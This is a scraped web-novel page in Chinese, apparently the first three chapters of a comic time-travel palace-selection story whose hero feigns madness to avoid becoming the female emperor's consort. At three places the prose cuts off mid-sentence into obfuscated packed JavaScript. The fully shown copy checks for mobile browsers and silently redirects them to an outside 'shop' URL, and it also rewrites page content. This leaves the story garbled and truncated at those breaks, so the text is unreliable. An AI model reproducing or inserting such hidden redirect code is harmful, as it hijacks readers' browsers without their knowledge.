《直男宫斗自救指南》 1. 第 1 章 明天就是我入宫选秀的日子了,趁着这会儿有空,我就先简单给大伙唠几句。 经常穿越的朋友们都知道,通常情况下,穿越分两种情况,一种叫身穿,就是你的灵魂跟着你的身体都一块穿越过来了。 另一种是魂穿,你身体留在本地,但灵魂穿越了,寄宿在了别人的肉身里。 我现在的情况就属于第二种。 目前我的定位在棠朝帝京城定国公府,寄住的身体原主是国公府长子。 此人姓诸葛,单名一个“易”。 这个名是他爹定国公诸葛镜亲自取的,就是盼着自己的倒霉儿子这辈子能过得容易一些。 “倒霉”这个形容词是我自己加上去,但我说诸葛易这个人倒霉,真不是在无故诽谤原主。 明明吧,诸葛易一个国公府长子,开局顶级二代的配置,按理说,只要他不去碰一些不该碰的东西,这辈子都能衣食无忧。 但很不幸,诸葛易还不记事的时候,就因为一场意外,流落了民间。 十八岁那年,诸葛易好不容易被亲爹给寻了回来,可刚到国公府上没住多久,国公府上就莫名地起了大火。 火别的地不烧,偏偏烧了他的屋子。 大火一烧,人是救出来了,但救得不够及时,给诸葛易烧得昏迷不醒,成了植物人,这一躺就躺了整整九年。 基本上吧,是从高三的年纪,直接躺到了奔三。 直到我的意识过来,把他身子给占了,在世人眼中,“诸葛易”才算是醒了过来。 我也看过不少穿越文,知道通常情况下吧,如果是魂穿,运气好点的,能给赠送些原主的记忆,运气要是再好点,还会给你发个系统外挂啥的。 但比较遗憾,我就属于运气不太好的那类,一睁开眼,脑袋空空如也,既没有半点原主的记忆,更没有“咚”地一声系统音来恭喜我绑定了外挂。 而且,这还不是最绝望的,最绝望的是——睁开眼发现,周围人说的都不是普通话,而是他们这个时代的官话。(都说学好普通话,走遍天下都不怕,怎么到我这儿就不管用了呢?) 这个棠朝的字吧,既像是繁体字,但又不全像。 这下好了,搞得我跟个误入他乡的外国人似的。 往往我好声好气解释了一堆,别人听着我就是在叽里咕噜;努力写了几个繁体字吧,我的便宜“老爹”看了后,让我别搁那儿鬼画符。 就我现在这种情况,说我是文盲,都算是抬举我了。 好在他们确实没抬举我,还觉得说我是文盲,是把我症状给说轻了。 我的便宜老爹定国公诸葛镜,为了确认他心中的猜测,专门去刷了人情卡,把太医院的院使(也就是本朝太医院的一把手)给请到了府上,为我看诊。 院使来后,先是把了把我的脉,紧接着又问了我几个问题,随后当场就给我下了判决书。 他说我傻了。 我听后也傻了。 我忙用不熟练的官话解释说,我真不傻,我只是刚来这儿,需要时间适应。 院使听完,又皱眉加了一句锐评:还有点癫。 诸葛镜也没问院使,我这傻病有没有办法治,只一脸感动地拉着我的手说:“没事,只要人活着,傻就傻吧,反正国公府养得起。” 不是,怎么就没事了? 退一万步讲,要是我真傻了,就真不打算给我治治吗? 诸葛镜高兴完后,才想了起来:万一这个诊断结果传了出去,以后给我找媳妇的时候,没人会上当。 于是吧,他又私底下给了院使一笔封口费,请求院使帮忙保守这个秘密。 结果,不到半月,整个帝京城的人都知道定国公府的长子醒来后成了个大傻子。 看到这儿,会有朋友想问了,你说你一个大傻子,又二十好几了,还是个男的,怎么就能跟宫里面的选秀扯上关系了? 能进宫参加选秀的,不都是如花似玉的年轻姑娘吗? 这就还是得从我现在所处的时空简单说起。 相对于我上辈子所在的时空而言,这显然是另一个时空。 这个时空没有唐宋元明清,史书上写满了我闻所未闻的国号。 现在的国号是棠,虽然同为“tang”,但除了国家体制相同外,和我时空的唐朝相去甚远。 这个时空还有一个很大的特点,哪怕如今处于君主专制时代,但他们在男女平权这件事上做得特别好,甚至比我们时空现代很多国家还好。 不论从政,还是经商,男女都拥有相同的权利。 皇室更是作为表率,平等地给予了皇子皇女同等的继承权。 这个时空能把男女平等落实得这么不错,当然还是有历史渊源的。 但为了避免大家觉得我一上来就废话太多,这段历史起源,我就不在正文里讲了。 对别的时空历史感兴趣的,或者喜欢吃瓜的朋友可以去正文后的注释里简单看看。 这地方男女平权虽然落实得好,但封建糟粕也依旧不少,比如一夫多妻和一妻多夫制的存在。 皇室在这事上更不忘做表率:三年选一回秀,谁都别想逃。 男皇帝在位时,选秀女;女皇帝在位时,选秀男。 当今坐在龙椅上的就是位女皇帝。 我穿越来的这年,还正好撞上了“三年之期已到”。 本来,这选秀是怎么轮都不会轮到我身上,因为我的原主诸葛易兄弟今年已经二十七了。 按照官方规定,秀男是要从十六到二十岁之间的清白男子里挑,诸葛易放里面,属于严重超龄。 一开始,在这界秀男名单里的人也确实不是诸葛易,而是他的四弟诸葛德。 我穿过来,见过诸葛德几面。 诸葛德今年十六,人长得不错,年轻有活力,正处于最叛逆的青春期,刚从奉剑山庄学艺归来,一听自己回来是去当秀男的,当场一哭二闹。 诸葛德直囔囔他日后是要三妻四妾的人,怎能去当皇帝的后宫三千! 诸葛镜当场甩了他一巴掌,罚他回房去抄《男德》,事后还对我感叹,当年就不该送诸葛德去自己好兄弟的奉剑山庄学武,而是该送他去男德学院学修男德。 诸葛镜说完后,才想起我是个傻子,觉得我也听不懂,便只能连连叹气。 没想到,我却开口问:“四弟武艺如何?” 诸葛镜一愣,回说:“汪兄说他是个练武的好苗子,要不是遇上秀男大选,都不愿放他回来。府上的护卫若论单打独斗,未必能是他的对手。” 听到这里,我就知道要坏事。 但我转念一想,反正我在诸葛镜眼中就是个傻子,傻子说的话没有什么参考价值,所以我也就懒得把我担忧的事给点出来。 后来事实证明,我的担忧没错。 被甩巴掌的当晚,诸葛德就打翻家中的护卫跑路了,还留书一封,大意说他宁愿落草为寇,也不愿去后宫里跟一群老大哥们争老女人。 短短几句话,就把女帝和整个后宫都内涵了一遍,看来诸葛德这小老弟除了德行稍欠,文武都很拿得出手嘛。 诸葛德追不回来,我们全家就愁了。 秀男跑路,可是抗旨大罪。 要我说吧,诸葛德跑路跑得实在是有些早。他只是去参选,又不是真参了就能被选上。 听闻秀男的报录比堪比公务员热门岗位,竞争不是一般激烈,也不知道诸葛德哪来的自信,觉得自己只要参选,就必被选进宫。 儿子跑路了,诸葛镜一时找不回人,只好硬着头皮去找女帝讲明真相。 诸葛镜敢这么实诚,自然是有底气的。 他是当今太上皇的结拜兄弟,立过从龙之功,有御赐的丹书铁券,只要不造反,其他罪都能保下来。(事后想想,诸葛德估计就是仗着这点才敢跑路的,看来他在大气层,我才是在地下层的小丑。) 当朝女帝不是庸主,也认为不至于因为一个还没中选的秀男,就让自己亲爹的好兄弟为难。 但这事要是轻易翻篇了,又确实坏了法度,如果以后人人效仿,皇家脸面岂非荡然无存?御史们得知诸葛镜儿子搞特殊,不得疯狂参他? 一番磋商后,女帝的意思是,你小儿子跑了,朕可以不追究,但你得拿个别的儿子来把这空给填了,不然朕也不好替你堵御史们的嘴。 诸葛镜老实说,臣的二儿子、三儿子都娶妻了,家里实在是没儿子了。 女帝笑问,你家的大公子不是还没成婚吗? 诸葛镜说,可他超龄了啊。 女帝说,朕不在乎年龄,贵君入宫时是已过二十,荀君入宫前更是个鳏夫。你家大公子是传遍帝京城的姿容美,朕属意已久,就怕卿不肯割爱。 诸葛镜说,可他傻名也传遍了啊。 女帝说,朕听闻,他近来痴傻之症,似有好转。 诸葛镜叹气说,痴傻之症是有好转,但却又染上了疯病,经常说些臣听不懂的疯话。 女帝大度说,若当真绝色,痴傻一些,又有何妨? 这些事都是我后来听说的,反正大意估计就是这样。(如果不是这样,那我也不知道是怎样。) 诸葛镜回来后,就开始后悔,他说他怎么没在我一醒来,就给我讨个媳妇,好歹能让我躲过这一劫。 我好心安慰说:“因为爹你有良心,所以才不愿自家的傻儿子去耽误别人家的正经姑娘。” 诸葛镜却说:“倒不是我有良心,主要是整个帝京城里委实没有正经姑娘愿意被你耽误啊。” 我又安慰他:“爹你别怕,以我的才德,一定选不上的。” 诸葛镜说:“难说。” 我说:“那到时候我就演得再傻点。” 诸葛镜说:“那倒不用演,就按你平日里的样子,收着点就行。” 第二天,宫里面就来了位画师给我画像。 这画师还是个金发碧眼的外国佬,画的也是西洋油画。 画完我一看还真挺像,神形具备,别说,有点人型照相机的意思了。 看来这吃皇粮的人,业务水平就是高。 诸葛镜回府后,我忙问他今天来画画的是个什么意思? 诸葛镜说,陛下和皇夫通常会先过目一遍秀男的画像,心里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正好这时候,隔壁的庆国王室出了一件大事,全天下吃瓜都吃疯了。 这瓜是怎么回事呢? 一向对庆国尽忠职守的丞相突然造反了,原因是丞相不知从哪儿得到了封先王临终前留下的密诏。 密诏上,先王说他病重,是因为被王后下毒控制了。现在的庆明王也不是他的亲儿子,而是王后和褚国太子的孽种。 这事一闹出来,庆明王和王太后肯定不会认。母子俩口咬定是丞相为了谋反,伪造了密诏。 最后,丞相的起事以失败告终,庆国的权柄继续稳稳握在了庆明王手里。 但庆明王的身世吧,民间却是越扒越有,实锤越找越多,许多以前无法解释的事,把庆明王不是先王的种带进去,一下子就一通百通了。 好比还是孟国公主时候的王太后,原本是跟褚国太子两情相悦,有婚约在身的。 得知禇国被灭,太子殉国后,王太后一开始还跑去殉情。好在王太后这情没殉成,被宫人们救了下来。 过了一段时间,王太后突然就同意了她爹安排她嫁给庆王这事,还很急切地想要嫁过去。 又比如史书明确记载,庆明王是早产儿。 早产这事就很玄乎了,既可以是早产,也可以是因为早就怀上了。 那时的天子早名存实亡了,没资格去干涉庆国内政。其余各国也忙着看热闹,表面上承认了庆明王的正统性,背地里都在笑庆国虽然灭了禇国,结果反被禇国血脉鸠占鹊巢,这灭国是灭到自己头上来了。 武庄王是所有国君里面,吃瓜吃得最高兴的,因为他正好借这事提出一个理念:父未必父,母必为母。父或乱其脉,母必守其根。 意思是说,一个人的爹不一定是亲的,但妈绝对是亲妈。如果靠父系血脉来传,传着传着,可能就不是原来那脉了,但如果换成母系血脉,才更能保证血脉的正统性。 武庄王大肆宣扬这个理论,无外乎是给自己的宝贝女儿铺路,但在那个时代,光有论,肯定还差点意思,因此随后几年里,武庄王的几个儿子或意外亡故,或离奇失踪,到头来,武庄王膝下就剩下一个女儿。 至此,武庄王终于可以力排众议,以“天意”为名,将王位传给了唯一的女儿。 姑且不论武庄王的儿子们是被“天意”侵蚀了,还是被人为“安排”了,但从后续的历史发展来看,武庄王的这个选择是无比明智的。 新继位的女国君,带领武国不断发展壮大,并开始有序征服其余诸国,最终在她六十一岁那年实现了中原王朝的大一统,并为自己创造了“皇帝”这个新头衔。 没错,这个时空统一天下的始皇帝是一位女性。 武始皇在位期间,起用了不少女性文臣武将,鼓励女性读书,充分肯定了女性继位参政的正统性,这些举措无疑为后世女性社会地位的提高打下了坚实的基础。 2. 第 2 章 进皇宫前,我预期不高,寻思着上辈子,我也是去过故宫和几个影视城旅游过的人,再来看这个朝代的皇宫,估计也不会有什么惊喜感。 可真进来后,还是给我震撼住了。 那种置身其中的庄重肃穆感,与到景区、影视城的体验截然不同,哪怕我是从不起眼的偏门进来的,看见的也只是整座皇宫的冰山一角,但一踏进这地方,看见路上那一队队英武的羽林军,一群群井然有序的宫人时,很难不莫名紧张。 这种天家威严感,也再次提醒了我:我是真的穿越了,还接近了这个王朝的权力中心居所,如果运气不好,下半辈子搞不好就交代在这儿了。 选秀第一关是体检,听说参加体检的有上百人,但因为是分批次的,所以我没见全。 体检过程我就不细说了,整体很严格,身体各方面都要详查,着重考察身材相。先看你本人和上交的画像对不对得上,排我前面一兄弟,就画不对版,画像上的脸已经不小了,真人居然比画像上的脸还宽了一圈,当场就被工作人员给拖了出去。 当然,说到了身体,那方面也是很重要的一个考察指标。(大伙也别问我具体是哪方面,只能说懂的都懂,不懂的,等你到了该懂的年纪,也就懂了。) 体检完一筛,就只剩十来人了。 到了下午,通过体检的秀男们在一个大殿里集合,稍事休息等待。(具体殿名是什么,我进去前没注意。) 殿挺大的,殿内桌椅茶水一应俱全。入选的秀男们也个个穿得光鲜亮丽,打扮得人模人样。 基本上,有熟人的都拉着在一块说话,像我这种没认识的人的,就自个待着。 这里我必须插句题外话,在现代,我是做互联网生意的。 集团主要靠游戏业务盈利,近几年短视频和电商板块发展得也很不错,就是影视业务年年烧钱年年亏。 每次开集团大会的时候,负责影视板块的兄弟总是在会上吹,今年储备的项目一水儿的S+,原作IP如何如何大,网络数据如何如何好,主演全是一线顶流,大众号召力如何如何强,结果剧一出来,拍的都是什么玩意。 当然具体是什么玩意,我也没空看,反正递到我眼前的财报是一年比一年难看。 当年会后,我还专门请影视板块的几个负责人兄弟喝酒,给他们振奋士气。 喝高了我就说:“在影视业务这块我是个门外汉,要是说的话不好不对,大伙多担待。我觉得吧,我们也不能一味迷信流量IP,关键得把剧的内容质量给做好做扎实了,到时候出来的就是我们自己的IP,自己的流量。现在的大环境,大家都清楚,降本增效的事,会上说太多了,再提也没意思。反正长视频这块如果一直起不来,那集团的肯定是要调整战略的,不亮眼的项目,该砍就砍,宁缺毋滥,只做精品。” 哥几个听完,全给我热烈地拍手叫好,结果第二年财报一看,又给我亏了几部大的。 唠这几句题外话,主要是想说因为工作的关系,我在一些社交场合见过不少一线明星和当红流量。 有一说一,这殿里的秀男不愧是从全国精挑细选出来的,绝大多数的颜值都不输我在现代见过的明星流量们。 特别是有一个衣着不显的男子,其貌特别扬,在一堆白高瘦的公子哥里,他的古铜色肌肤格外显眼,五官也是,立体得跟雕塑似的,关键气质还挺独特。 他往那儿一站,衬托得周围几位尚算俊逸的秀男顿时泯然众人。 突然间,我身前不知从哪儿冒了一个年轻小伙子出来,把我视线给挡住了。 这位小伙子穿着干练的黑红衣服,浓眉高鼻,眼睛又大又圆,非常阳光帅气。 阳光帅小伙直愣愣地看着我,就跟在动物园隔着玻璃看大猩猩一样,满脸写着兴奋好奇。 看了一会儿,他居然伸手在我的眼前比起数来,边比边问我这是几。 唉,原来是闲着无聊逗傻子来了。 “六!” 我没忍住,说出了正确的数,吓得这帅小伙扯着嗓子叫:“你不傻啊。” 我说:“不算太傻。” 阳光帅小伙说:“可坊间都说你心智跟三岁小孩差不多。” 我刚想说,三岁小孩也该识数了吧,就听殿内传来一声呵:“你一个哑巴,也配站这儿吗!” 不是,怎么还有哥们在这种正式场合外放短视频啊? 下一秒,我才反应过来——这地方手机都没有,哪来什么短视频? 我探头一看,就见打脸小短剧最典中典的一幕照进了现实。 不远处,一个十五六岁的华服少年,站在我刚提到的那个古铜肤色大帅哥跟前,一副短剧反派式趾高气扬的模样。 我原以为华服少年口中的“哑巴”是在骂人,结果大帅哥下一秒居然打起了哑语手势。 好家伙,还真是位残障人士啊! 但就凭大帅哥那张脸,也就不难理解他为什么能站这儿了,又帅又哑的,只会更招女人恋爱。 而那位华服少年多半也是因为嫉妒大帅哥的容貌,专程跑去挑刺的。 华服少年显然不懂哑语,见大帅哥一个劲比划,更加气急败坏:“你瞎比划什么比!” 他说完,还不解气,竟端起桌上的茶盏,就往大帅哥手上一泼。茶水滚烫,大帅哥的手被这么一淋,立马就红了。 而周围的人竟没有一个上前制止的。 唯有我身旁的阳光帅小伙不平道:“仗着是陛下的表弟,便这么嚣张吗!” 皇帝的表弟?原来就是那位华服少年啊! 入宫前夜,诸葛镜就叮嘱过我,说这回选秀里有两三个家世特别显赫的,让我尽量别去招惹,其中排在“少招惹榜”榜首的正是这位皇帝的表弟董律。 董律他爹是女帝生母慧德皇后的幼弟。 太上皇是个情种,一辈子就只有慧德皇后一个女人,可惜慧德皇后红颜薄命,诞育女帝的时候大出血走了。 在这之后,太上皇爱屋及乌,明知董家剩下的亲戚都是群扶不上墙的的烂泥(这是诸葛镜的原话,可不是我在乱诋毁),也还是给足了最高优待。 比如董律他爹干啥啥都不行,跋扈第一名,但仗着是董家三代单传的男孙,还是被封为了信普侯(我听到这儿的时候,没忍住问怎么不直接叫普信侯,诸葛镜不懂我的梗,一律当我在发癫)。 董律则跟他爹信普侯一样,从小被惯坏了,跋扈无比,是京城里出了名的混世小霸王,有句知名口头禅叫“我的皇帝表姐”。 像这类熊孩子,我通常都是躲着走的,但今天不一样! 今天我既然是冲着落选来的,就不能白白浪费这个机会。 我操起近处一杯热茶,三步并作两步,笑着到了董律跟前。 “这不是诸葛家的傻子吗,你……” 董律话没说完,就被我泼了一手热茶,痛得吱哇怪叫。 “好玩好玩!” 我边傻笑着,边绕到董律背后,朝他膝处给了一脚。董律猝不及防,一下子就跪在了大帅哥跟前。 我傻笑道:“嘿嘿嘿,坏人下跪,好玩好玩!” “你……知道我是谁吗!” 董律咬着牙,从地上爬了起来,随手操起一个装糕点的盘子,便朝我追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“本官先要恭喜诸位公子,能站在此处的,皆是万中无一的才俊,离成为宫中的贵主,也只剩一步之遥了。接下来的七日里,诸位需留宿宫中,学习礼法规矩。至于最终是越过龙门,还是打道回府,便看诸位这七日的表现,以及殿选时的造化了。” 我懵了,进宫前,诸葛镜也没告诉过我,在殿选之前,还有个七天训练营! 这朝代什么情况,选个秀搞得跟现代综艺一样?过了海选,先进训练营,非得熬到成团夜那天,才知道自己能不能出道,排名定级是什么? 我听到这儿,是更搞不懂了,就秀男这个报录比,诸葛德到底在逃什么,又在自信什么?这小子该不会真觉得他来参加了,就能中选吧? 不过,我转念一想,这训练营于我来说,不正是好事一桩吗?只要我在这七日里,继续装疯卖傻,搞出点大动静来,何愁不名落孙山啊? 我越琢磨着,越觉嘴角难压下去,突然间,一声唱喏打断了我的畅想。 “定国公府大公子诸葛易。” “到!” 我中气十足一应,殿内就响起了一片笑声,不止秀男们在笑,连那群训练有素的宫人里都有没憋住的。 看来我这包袱抖得比春晚小品好! 姜尚宫轻咳一声,笑声才停。而他身旁已经站着两位秀男了,其中一位正是刚才那个把我当傻子逗的大眼帅小伙。 姜尚宫冲我礼貌道:“诸葛公子,请吧。” 等等,我刚刚光顾着展望未来了,忘了听讲。 姜尚宫这是要请我去干什么来着? 3. 第 3 章 在下午培训正式开始前,秀男们可以先回宿舍,把饭给吃了,先歇一歇。 姜尚宫口中的“请”,就是请我先去宿舍。 而他身旁站着的两位秀男,正是要和我一道去宿舍的新室友们。 我不眼熟的那位叫陆韫之,这名字一听就很有文化,本人也长得非常有文化,白净俊逸不说,笑起来特别文雅,教科书级别地诠释了“温润如玉”四个字。 陆小兄弟不仅容貌出众,家世也十分拿得出手。 他所在的陆家是口碑一向不错的清流世家。陆韫之的大伯父是现任礼部尚书,他的堂兄那就更值得说道了,是近百年来唯一一位连中三元的旷世奇才,未来铁定是奔着宰辅去的。 至于那位阳光帅小伙,家世还更胜一筹。 他的祖母是当朝两位大将军之一的毕大将军,是镇守北境数十年载的巾帼英雄。 太上皇为标榜功臣而修的翊圣阁中,毕大将军的画像挂在第四位,也是排前五的功臣里唯一一位女性。 这位毕小哥的全名很有意思,叫“毕过”。 我说,那你考试必定不会挂科,毕竟必过嘛(他俩听不懂,以为我在犯傻)。 一个尚书之侄,一个大将军之孙,再加上诸葛易这个国公之子,这下好了,凑了一宿舍的天龙人出来,也不知亲自分配宿舍的皇夫(这时空如果皇后是男的,就叫皇夫。)到底存了什么想法,是怕把天龙人放出去了,会霸凌普通人吗? 秀男们的住宿区叫藏秀苑,占地面积不小,但从地理位置上来看,基本属于皇宫的边缘区域了,这就跟在大城市买房一个道理:想要面积大,就往郊区走。 藏秀苑里有好几套小院,我和毕过和陆韫之分在了一套里,套内三间房,保证每个人都有单间。 我一进院子,就见花树交映,山石缀藤,布置得非常有格调。院子里还有几棵没开花的桃树,也修剪得格外漂亮,足见是常有人打理的。 午饭早已送到了我们各自的屋里,本该是各吃各的,但架不住毕过是个自来熟,招呼着我们去他屋里一块吃。 两位新室友虽然出身高门,为人倒不倨傲(也可能是卖了国公府几分薄面),不嫌我“傻”,一顿饭下来,毕过这个“社交暴徒”,就主动跟我和陆韫之称兄道弟了。 饭后,宫人们送来了“校服”,说是奉皇夫殿下旨意,为避免秀男之间生出攀比之风,留宿宫中期间,秀男们都必须统一着装,严禁奇装异服。 换好“校服”后,我就跟陆毕两人一块去集合了。 宫人带我们去的集合点很怪,是比藏秀苑还偏的一处荒凉院子,院子里还有一口枯井,要是晚上来这儿,估计挺瘆人的。 姜尚宫见人齐后,就将我们领到了枯井前,皮笑肉不笑地说:“诸位公子,切莫离得太近,这口井阴气重。” 毕过好奇心重,一早就站在了井边上,脑袋正朝井里头探着,一听这话,忙缩了回来,长腿一迈,回了我与陆韫之身旁。 姜尚宫颇有深意地盯了毕过一眼,才幽声道:“数十年前,前朝有位秀女入夜后不知安生,非要出门乱逛,无意间冲撞了贵人,第二日,尸身便躺在这井里了。三年前,有位秀男违了宫规,得知自己要被发往掖庭为奴,惊惧之下,便投了这口井。” 好几个秀男一听,都倒吸了一口凉气,退远了几步。 “不知诸位公子,听了本官这两个故事有何感想?” 我傻笑着抢答:“感想是宫里头的安全措施做得不到位,这么明显的安全隐患,早该填了。” 姜尚宫很有涵养地冲我露出了职业假笑,无视了我的傻人疯语。 这让我突然发觉诸葛镜是有先见之明的,我压根不用演,就用现代人口吻直抒胸臆,就会被这个时代的人当作是在发癫。 “其他公子呢,感想如何?” 我身旁的陆韫之上前一礼后,道:“姜尚宫所言意在提醒我等,宫规森严,不比府上。我等一旦入宫,就须得循规蹈矩、谨言慎行,牢记尊卑之分,若是仍在宫中随心所欲、我行我素,那昔日井中亡魂便是我等来日的下场。” 姜尚宫满意颔首说:“陆家公子所言甚是。自然,诸位公子也不必太过惶恐。只要诸位能恪守宫规、行举无差,等待着诸位的便是光耀门楣的一世荣华。” 毕过见自己室友交出了满分答卷,也很高兴,笑着砸了一拳在陆韫之的肩上,以示祝贺。 姜尚宫瞧见了,眼中极快掠过一丝不喜。 我想,就那么一拳砸下去,毕过的表现分肯定就被扣了。 从进院子那会儿起,我就发现了,附近一直有几个宫人站在角落里,手捧纸笔,时不时在写什么。不出所料的话,那多半是在记录我们的表现。 我现在的当务之急,就是努力抓住每一个装疯卖傻的机会,把这隐藏的表现分给刷得越低越好。 “井告”仪式结束后,姜尚宫带着我们进了一间大殿。这回入殿前,我抬头看了一眼,殿名叫“礼德殿”(说实话,我最近看不得“德”这个字,一看就不免想到把我坑进宫里的倒霉孩子诸葛德。)。 我们刚入殿不久,就见两个宫人把‘刺头’董律给完好无损地押了进来。 看来这皇亲国戚到底是皇亲国戚啊。 但凡董律背景不够硬,敢在宫中这么放肆的,多半早没了,哪会儿像现在这样只是罚站这么轻松。 姜尚宫问:“董公子,你可冷静下来了?” 董律大吼道:“我不服!我要见表姐!你一个奴才,怎敢如此对我!” 姜尚宫正色道:“倘若董公子得了册封,成了宫中贵人,本官在你跟前自然是奴才。可如今你仍是白身,而本官乃是正四品,怎容你顶撞!来人,将董公子绑在一旁,安静地跟着学规矩!” 宫人们麻利上前,把董律绑在了一根柱子上,也按照吩咐里的“安静”两字,把董律的嘴巴给堵上了。 董律这个年纪,显然没过青春期。青春期叛逆是正常的,可是他选在这种场合玩叛逆,是不是太没脑子了些? 还是说,其实董律也…… 耳旁的董律叫嚣,全化作了不成词的嚎叫,姜尚宫也没再多理会他,正式开始了授课。 第一天的课就一个“礼”字。 见到皇帝皇夫该行什么礼,见到各宫主位该行什么礼,见到平级的同事又该行什么礼,礼来礼去的,绕得我脑瓜子嗡嗡打转,直接停止思考,跟个机器人一样,重复着各种动作。 结果就是,行慢了要被说,行快了也要被说,手的位置高了不行,低了也不行。 大半天下来,我脑子里只剩一个想法:封建礼教规矩都是吃人的,新时代万岁,社会主义万岁! 我打从心底抗拒这套规矩,再加上我原本就打算刷低自己的表现分,因此动作越做越随意,就这样勉强混到了晚饭前。 “诸位公子辛苦了,今日便到此为止,散去吧。” 我前脚刚迈,就听姜尚宫道:“诸葛公子留步。公子今夜若不能练到同他人一般合格,那晚膳便也不用吃了。” 我还没开始装疯,室友毕过却先为我发声了:“大家都知道,诸葛公子脑子不好使,姜尚宫就不能宽容一二吗?” 姜尚宫道:“宫规跟前,绝无例外。” 毕过想再说什么,却被身后的陆韫之拉了一把,终究是沉默了。 众人散去,殿内除了姜尚宫为首的宫人们,就只剩我和董律俩“特困生”了。 姜尚宫给我安排了一个半蹲的行礼姿势,就令人把董律给解放了出来。 他走到董律跟前,问道:“董公子学明白了吗?” 董律破口大骂道:“学他妈不明白,我要见表姐!” 姜尚宫面色深沉了几分,道:“本官最后问你一遍,你学明白了吗?” 董律却更放肆了,直接冲姜尚宫啐了一口。 姜尚宫没有发火,甚至没有擦去脸上的唾沫。 “董公子一再执迷不悟,本官只能将今日之事,原原本本上奏皇夫殿下了。” 董律这下高兴了:“快滚去上奏,小爷我倒要看看表姐夫是站你,还是站我?” 姜尚宫不再多费口舌,领着宫人们便走了。门一关,我和董律被锁在了殿里面。 “人都走完了,你这破姿势,练给谁看。” 我装傻说:“不练,不能吃饭。” 董律绕着我走了一圈说:“你这傻子真招人气,要不是看在你四弟份上,我可真得揍你一顿。” 我随口问:“你认识我四弟?” “你不知道吧,我和你四弟诸葛德从小就是好哥们。” 这可真是物以类聚,人以群分啊。 董律说:“我俩早约好绝不进宫的。不过他那小子太傻了,为了不进宫居然逃了选秀,这么一逃,以后想入仕途,都没可能了。” 我假笑捧场:“你比他聪明!” 董律得意说:“那是自然,这选秀又不是进来了就能中,你瞧我进来后胡乱闹腾一番,皇帝表姐定然也不会要我了。” 我早就猜到了,董律这小子未必是真没脑子,或许同我一个打算,都是为了不中选,来故意捣乱的。 只不过这小子演得用力过猛,我一个纯路人见了,都觉得这人叛逆得太没脑子了。 但反正吧,我又不是他的表演老师,没必要针对他的演技发表什么锐评,我只需完成我的表演任务:装傻。 我傻笑说:“大家说,入宫好。” 董律说:“你个傻子!对那些家世平平的人来说,能入宫当主子,的确是鸡犬升天。可对我们这种什么都不缺的皇亲贵胄来说,入宫就是弊大于利了,所以你四弟才会跑那么快,让你来填这个坑。” 这小子看得倒是透彻。 我接着演:“那不入宫能干什么呢?” 董律自信万分说:“小爷我天纵奇才,日后可是要当官为宰的人。哼,你个傻子问这么多作甚,我说了你也听不明白。” 就在这时,姜尚宫又带着一大队人杀了回来。我赶忙做回了原本的培训动作,然而姜尚宫一眼没瞧我,径直到了董律跟前。 姜尚宫礼貌说:“董公子,皇夫殿下有请。” 董律得意地起了身:“哼,我就知道,表姐夫一向是疼我的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323881|199113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜尚宫好像这会儿才想起了我还在,对我说:“诸葛公子,殿下恩准你今日前去用膳,盼你明日有所长进。” 我大声应:“好!” 保持着屈膝动作太久,我觉得腿有些麻,立马生出新的灵感:跨门槛的时候,我故意踩了下长衣摆,把自己给绊倒在地,摔了个狗吃屎,尽显笨拙(好在古装衣服厚,里三层外三层的,磕着不痛)。 董律见了,哈哈大笑。宫人们慌忙地上前来搀扶我,起身后,姜尚宫着重打量了下我的脸,确认我的脸没事,才吩咐人送我回了宿舍。 宿舍里,给我留的饭菜还有余温,我刚准备趁热吃着,毕过和陆韫之听见我回来的动静,便一道来慰问我了。 我跟他们讲了董律的事,唯独没提自己也跟董律一样不愿入宫。 人心复杂,忌讳交浅言深。 毕过感叹说:“我就说董家小鬼怎么在宫里面也敢那么猖狂,原来是打定主意不入宫。他不愿入宫也好,反正我以前就看不惯他的跋扈做派。日后若真要在宫里面碰见了,我都怕忍不住给他两拳。” 沉默了一会儿,毕过突然拍了下陆韫之,问:“陆兄怎么皱上眉了?” 陆韫之说:“董公子这事恐怕不会这么轻易了结。” 毕过说:“他不是成日一口一个皇帝表姐吗,他自个都不怕,我们操什么心,真出了事,也是他活该。” 坦白讲,我一开始是陆韫之的想法。可转而又觉得毕过的话更在理。 董家是正儿八经的皇亲国戚,后台硬,估计顶破天,也就是被给予严肃警告,不会动真格。 等到第二天早上众人集合,就见董律容光焕发,完全不像是挨过训的模样。 果然,人家嘴巴中的“我的皇帝表姐”是管用的。 姜尚宫如常搞培训,董律则站到了姜尚宫身旁,跟看耍猴似的,围观我们培训,就差把“特殊”两个字都写在了脸上。 姜尚宫没有管董律,毕过先看不下去了:“尚宫大人,你昨日还说‘宫规跟前,人无例外’,怎么今日有人不学宫规,也不见你有所作为?” 姜尚宫说:“毕公子管好自己便是。” 毕过义正词严道:“为将者,治军不公,如何服众?姜尚宫,你身兼教习一职,却如此偏私,我毕过头个不服!” 我捧场:“我听不懂,但我也不服!” 董律大笑:“果真是个傻子,没事跟着瞎起哄。不妨告诉你们,表姐夫已恩准我不必参选了,这宫规,你们谁爱学谁学去。” 不少人听后神情一松,大概是觉得少了一个强劲的关系户,自己便多了一分胜算。而我身旁的陆韫之却轻皱了下眉,若有所思。 毕过不信,问:“姜尚宫,他说的可是真的?” 